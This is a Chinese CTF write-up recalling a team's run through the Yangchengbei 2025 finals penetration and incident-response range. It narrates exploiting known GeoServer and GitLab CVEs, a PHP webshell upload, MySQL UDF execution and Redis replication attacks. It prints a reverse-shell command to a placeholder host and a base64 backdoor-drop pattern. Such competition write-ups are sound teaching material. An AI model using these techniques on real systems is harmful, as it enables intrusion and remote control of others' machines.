羊城杯2025决赛
前言
本文所使用的工具可参考以下仓库:
这是Tony5、jt、yymh、Pinguw的超绝羊城之旅
由于比赛期间时间紧张且并未要求写WP,所以没有保留详细解题步骤。返程飞机上回想赛程,遂作此文,用以分享。
羊城杯决赛分3个方向:
- 渗透测试
- 应急响应
- 数据安全
所有方向的题目都分三个难度:简单、中等、困难,分数为100、200、300。
赛题形式大概就是某个公司被打了,让你复现攻击路径的同时溯源攻击者。简单来说,就是先渗透打进去控制机器,再应急响应找攻击者的痕迹,而且三个方向用的是同一个靶机。题目环境实际上就是几个docker,用网桥连起来。
网络拓扑目前还不太清晰,我们最后是突破到了第三层。
这个拓扑很混乱,到处都是端口映射,导致之前的服务和新的服务串在一起,而且其他端口还有数据安全的服务。
由于本文是赛后回忆,重在讲解思路,不详细讲隧道代理、流量转发的过程,也不分析具体的payload。
题目解析
第一层
入口机器有两个服务,一个WordPress、一个geoserver
我们按部就班信息收集,在WordPress处用wpscan扫了扫,随手一测robots.txt,发现了flag1。
我们还没进靶机就有人出一血,原来是送分题
识别出WordPress版本为v5.8.12,目录扫描发现有git泄露,用githack拖下来源码,是源码审计找洞。漏扫发现CVE-2022-3590,但是手里没这个洞的exp。
看了看geoserver,searchsploit并没有找到好用的洞,但从收集的一份wp里找到了CVE-2024-36401,而且版本符合。
curl了一下验证exp可行,这里要讲一个细节,java反弹shell一般有两种方式(做过java sec的同学可能比较了解):
- 数组
1 | |
- base64
1 | |
如果直接传入Runtime.getRuntime().exec("bash -i >& /dev/tcp/ip/port 0>&1");,会被拆分成如下形式,从而报错
| 1 | 2 | 3 | 4 | 5 |
|---|---|---|---|---|
| bash | -i | >& | /dev/tcp/ip/port | 0>&1 |
具体分析可以看墨竹学长的文章:从Java看反弹Shell - 知乎
由于是docker,还以为是容器逃逸,上了linpeas扫了半天也没思路。后来发现全都是docker,渗透竟然用docker环境,好坑。
jt化身路由器,疯狂反弹shell、转发流量。
我的Kali是NAT的虚拟机,不能直接反弹shell。于是jt起了一个stowaway agent,并映射端口到我的主机,相当于把 jt 当作跳板机进行攻击。
比完赛想了想,更好的方法是传一个msf的马,我正向连到靶机,再自己搭建隧道,映射端口到pwncat。msf最近没用到就忽略了,耽误了时间,而且搞混了网络拓扑,后续环境出问题的时候也影响了判断
第二层
我们策略是一直往下打,没思路的就放,于是标准步骤:看网卡、fscan扫端口
然后session、agent都死了,反弹shell也都断了
这套靶场最难绷的就是抗并发太差了,稍微上点流量就死,连端口都扫不了打个蛋,而且竟有5次重启上限
一开始以为是服务死了,后来发现是网卡死了。
重启靶机,jt再次疯狂转发流量(人肉路由器这一块)。
第二层有多个服务:
一个nginx,一个AI服务,一个类似cms的服务,一个gitlab
nginx版本是1.18.0,没有找到对应的漏洞脚本。
AI服务通过
searchsploit发现有一个鉴权漏洞,但是没打通,可能是版本对不上。cms服务的话,是一个非框架题,自己找洞,whatweb识别出后端是PHP 7.x写的。
jt敏锐地发现有文件上传功能,抓包之后敏锐地看到可以json指定后缀名单,于是增加后缀为php,并且成功上传一句话木马,直接一手蚁剑连接拿flag。
解出了一道困难题,豪爽。
gitlab指纹识别不出版本,密码爆破尝试弱口令,马上死给我们看。
但是
searchsploit搜到了了对应的多个漏洞。由于未授权且猜测是较新的RCE,于是打了CVE-2021-22205,直接拿下一台机器。
第三层
第三层有MySQL、Redis、PostgreSQL
在蚁剑里找到了.env文件(注意力惊人),里面有MySQL、Redis的连接密码。
渗透题目没有题目名、题目描述,只有flag1、flag2……
这种情况下需要自己确定打哪个服务,自己找flag(数据库或者根目录),且无法确定是否需要进一步提权。而且由于混乱的端口映射、脆弱的环境,导致做起来很棘手
我们打的时候也不是按顺序来,而是通了一个靶机就交,往往flag序号之间会相差很大。好在应急响应有题目描述,通过这个来旁敲侧击,有一个大致的方向
由于应急响应有MySQL,当时思路就确定打MySQL,发现可以打udf从而命令执行
奇怪的是MDUT打不通,然后上msf(多方法打点的习惯是真有用),有个细节就是msf打MySQL UDF可能不直接给session
好在之前打过,msf写完.so文件之后,我们navicat连上MySQL用之前的payload:
1 | |
直接出flag,拿了一血,好爽!
直接冲到了第三名。“计划有变”
有个细节就是这个MySQL环境受限不能弹shell,要手动上马。而且他的echo不接受-e,所以不能用echo -e "\x7fELF"这样的形式,但是有base64可以直接echo "payload" | base64 -d > backdoor。
顺势拿下两道MySQL应急响应:一道找攻击者的命令执行函数、一道找攻击者IP
Redis的版本是4.x,在主从复制的范围之内,不过当时把拓扑搞混了,第一次主从复制反弹的IP写错了。恰好主从复制有一个细节,就是打了一次就坏了,再想打只能重启。
由于没搞清楚网络拓扑,当时IP搞混了,第一次失误了。而且前面MDUT打MySQL没打通,又误以为是MDUT的问题,换了Redis-rogue-server。尝试了很多次,但忽略了主从复制不抗打,没想到重启,导致最后也没打通。
这里就放了,后面反过头去看没打通的几个点。
看了看WordPress源码,感觉像CVE-2022-3590,但这是SSRF,可能还得结合别的洞拿shell。还有提权都没成功,可能也会有flag。
数据安全Pinguw一个人在做,做了一半。
总结
最后位居第8,渗透6个flag、应急4个、ds两个
比较可惜的就是:
- Redis思路、利用手法是对的,但是忽略了重启,不然还有一道应急响应可以做。
- 忘了看gitlab那台机器,里面应该有东西
Tony5云:信息收集决定打点思路,技术细节实现漏洞利用
后续没啥思路主要还是信息收集做的不够,Redis是忘了技术细节
整体来说,羊城杯的题目还是比较经典的,但是环境属实一坨。
渗透的话,相对贴近现实一些,与传统CTF不同点主要在于需自己收集、判断有效信息(渗透打点像没有题目描述的web题,而且多是实际出现过的漏洞)。线下和线上主要区别在于断网,平时习惯上网搜脚本的话,束缚就比较大。不通网、无AI立马变成原始人,比较考验选手的利用思路和漏洞库。
还有,广东这么暧(nuan)昧(wei)的吗
后续拿到第一的wp,发现渗透方面的主要差距在于一些服务的密码爆破,这个用fscan都能出
但是那个情景